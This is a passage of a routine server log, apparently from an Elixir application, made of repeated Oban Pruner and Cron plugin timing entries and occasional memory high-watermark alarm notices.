09:34:57.772 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:00.298 [info] {"source":"oban","duration":3399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:35:27.774 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:35:57.776 [info] {"source":"oban","duration":915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:00.306 [info] {"source":"oban","duration":7111,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:36:27.778 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:36:57.783 [info] {"source":"oban","duration":3620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:00.329 [info] {"source":"oban","duration":13982,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:27.790 [info] {"source":"oban","duration":5668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:57.798 [info] {"source":"oban","duration":7162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.341 [info] {"source":"oban","duration":9295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:27.803 [info] {"source":"oban","duration":3165,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:57.805 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.347 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:27.807 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:57.809 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.349 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:27.812 [info] {"source":"oban","duration":2183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:57.814 [info] {"source":"oban","duration":1174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.352 [info] {"source":"oban","duration":516,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:27.816 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:57.818 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.374 [info] {"source":"oban","duration":11481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:27.820 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:57.825 [info] {"source":"oban","duration":4022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.381 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:27.829 [info] {"source":"oban","duration":3166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:57.831 [info] {"source":"oban","duration":1036,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.383 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:27.834 [info] {"source":"oban","duration":2259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:57.836 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.385 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:27.839 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:57.842 [info] {"source":"oban","duration":3104,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.394 [info] {"source":"oban","duration":4289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:27.844 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:57.847 [info] {"source":"oban","duration":1824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.395 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:27.850 [info] {"source":"oban","duration":2136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:57.855 [info] {"source":"oban","duration":3867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.396 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:27.859 [info] {"source":"oban","duration":2834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:57.861 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.399 [info] {"source":"oban","duration":2302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:27.869 [info] {"source":"oban","duration":7302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:57.876 [info] {"source":"oban","duration":4521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.407 [info] {"source":"oban","duration":5635,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:27.881 [info] {"source":"oban","duration":3136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:57.885 [info] {"source":"oban","duration":3177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.416 [info] {"source":"oban","duration":6757,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:27.887 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:57.889 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.436 [info] {"source":"oban","duration":4343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:27.892 [info] {"source":"oban","duration":2132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:57.894 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.437 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:27.897 [info] {"source":"oban","duration":2361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:57.902 [info] {"source":"oban","duration":2169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.443 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:27.904 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:57.908 [info] {"source":"oban","duration":2753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.450 [info] {"source":"oban","duration":1806,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:27.911 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:57.914 [info] {"source":"oban","duration":2242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.460 [info] {"source":"oban","duration":8391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:27.916 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:57.918 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.477 [info] {"source":"oban","duration":7409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:27.920 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:57.926 [info] {"source":"oban","duration":4720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.485 [info] {"source":"oban","duration":3082,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:27.927 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:57.930 [info] {"source":"oban","duration":1992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.486 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:27.940 [info] {"source":"oban","duration":7813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:57.945 [info] {"source":"oban","duration":4465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.497 [info] {"source":"oban","duration":9377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:27.950 [info] {"source":"oban","duration":3587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:57.955 [info] {"source":"oban","duration":3994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.498 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:27.980 [info] {"source":"oban","duration":22866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:57.982 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.520 [info] {"source":"oban","duration":18139,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:27.985 [info] {"source":"oban","duration":1771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:57.989 [info] {"source":"oban","duration":3363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.522 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:27.991 [info] {"source":"oban","duration":960,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:57.994 [info] {"source":"oban","duration":1838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.524 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:27.996 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:57.998 [info] {"source":"oban","duration":911,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.537 [info] {"source":"oban","duration":9347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:28.000 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:58.002 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.539 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:22.974 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 10:06:28.004 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:58.006 [info] {"source":"oban","duration":1130,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.541 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:22.978 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 10:07:28.009 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:58.011 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.545 [info] {"source":"oban","duration":2839,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:28.014 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:58.016 [info] {"source":"oban","duration":1044,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.555 [info] {"source":"oban","duration":7480,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:09:28.020 [info] {"source":"oban","duration":2641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:58.021 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.561 [info] {"source":"oban","duration":4769,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:10:28.026 [info] {"source":"oban","duration":3638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:58.029 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.565 [info] {"source":"oban","duration":2667,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:11:28.031 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:58.033 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.575 [info] {"source":"oban","duration":2054,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:12:28.035 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:58.037 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.581 [info] {"source":"oban","duration":4387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:13:28.039 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:58.041 [info] {"source":"oban","duration":998,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.583 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:14:28.044 [info] {"source":"oban","duration":1631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:58.045 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.584 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:15:28.047 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:58.050 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.588 [info] {"source":"oban","duration":3030,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:16:28.052 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:58.054 [info] {"source":"oban","duration":1074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.590 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:17:28.056 [info] {"source":"oban","duration":1054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:58.058 [info] {"source":"oban","duration":1304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.593 [info] {"source":"oban","duration":271,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:18:23.033 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 10:18:28.060 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:58.062 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.594 [info] {"source":"oban","duration":509,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:19:23.039 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 10:19:28.064 [info] {"source":"oban","duration":1075,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:58.066 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.599 [info] {"source":"oban","duration":4381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:20:23.044 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 10:20:28.068 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:58.070 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.601 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:21:28.072 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:58.074 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.602 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:22:28.076 [info] {"source":"oban","duration":1145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:58.078 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.604 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:23:23.063 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 10:23:28.080 [info] {"source":"oban","duration":1406,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:58.082 [info] {"source":"oban","duration":1565,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.605 [info] {"source":"oban","duration":454,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:24:28.084 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:58.091 [info] {"source":"oban","duration":6422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.607 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:25:28.093 [info] {"source":"oban","duration":940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:58.095 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.612 [info] {"source":"oban","duration":3107,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:26:28.097 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:58.099 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.614 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:27:28.101 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:58.103 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.618 [info] {"source":"oban","duration":2618,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:28:28.105 [info] {"source":"oban","duration":1028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:58.107 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.624 [info] {"source":"oban","duration":3792,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:29:28.109 [info] {"source":"oban","duration":1077,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:58.111 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.634 [info] {"source":"oban","duration":5627,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:30:23.095 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 10:30:28.113 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:58.115 [info] {"source":"oban","duration":910,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.636 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:31:23.100 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 10:31:28.153 [info] {"source":"oban","duration":37423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:58.156 [info] {"source":"oban","duration":1715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.638 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:32:28.159 [info] {"source":"oban","duration":1810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:58.161 [info] {"source":"oban","duration":912,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.640 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:33:28.163 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:58.165 [info] {"source":"oban","duration":927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.645 [info] {"source":"oban","duration":3987,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:34:28.167 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:58.169 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.648 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:35:28.171 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:58.173 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.656 [info] {"source":"oban","duration":5345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:36:28.176 [info] {"source":"oban","duration":1872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:58.179 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.660 [info] {"source":"oban","duration":3469,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:37:28.181 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:58.183 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.663 [info] {"source":"oban","duration":2214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:38:28.185 [info] {"source":"oban","duration":1092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:58.188 [info] {"source":"oban","duration":2288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.665 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:39:28.190 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:58.192 [info] {"source":"oban","duration":992,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.666 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:40:28.195 [info] {"source":"oban","duration":2152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:58.197 [info] {"source":"oban","duration":947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.667 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:41:28.199 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:58.201 [info] {"source":"oban","duration":1600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.669 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:42:28.203 [info] {"source":"oban","duration":1009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:58.205 [info] {"source":"oban","duration":924,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.674 [info] {"source":"oban","duration":3947,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:43:23.164 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 10:43:28.207 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:58.209 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.679 [info] {"source":"oban","duration":3935,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:44:23.168 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 10:44:28.211 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:58.213 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.687 [info] {"source":"oban","duration":5572,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:45:28.215 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:58.217 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.689 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:46:28.219 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:58.221 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.690 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:47:28.223 [info] {"source":"oban","duration":1006,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:58.225 [info] {"source":"oban","duration":967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.694 [info] {"source":"oban","duration":2952,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:48:28.232 [info] {"source":"oban","duration":4473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:58.235 [info] {"source":"oban","duration":2229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.695 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:49:28.237 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:58.240 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.697 [info] {"source":"oban","duration":1060,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:50:28.242 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:58.244 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.702 [info] {"source":"oban","duration":3567,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:51:28.246 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:58.248 [info] 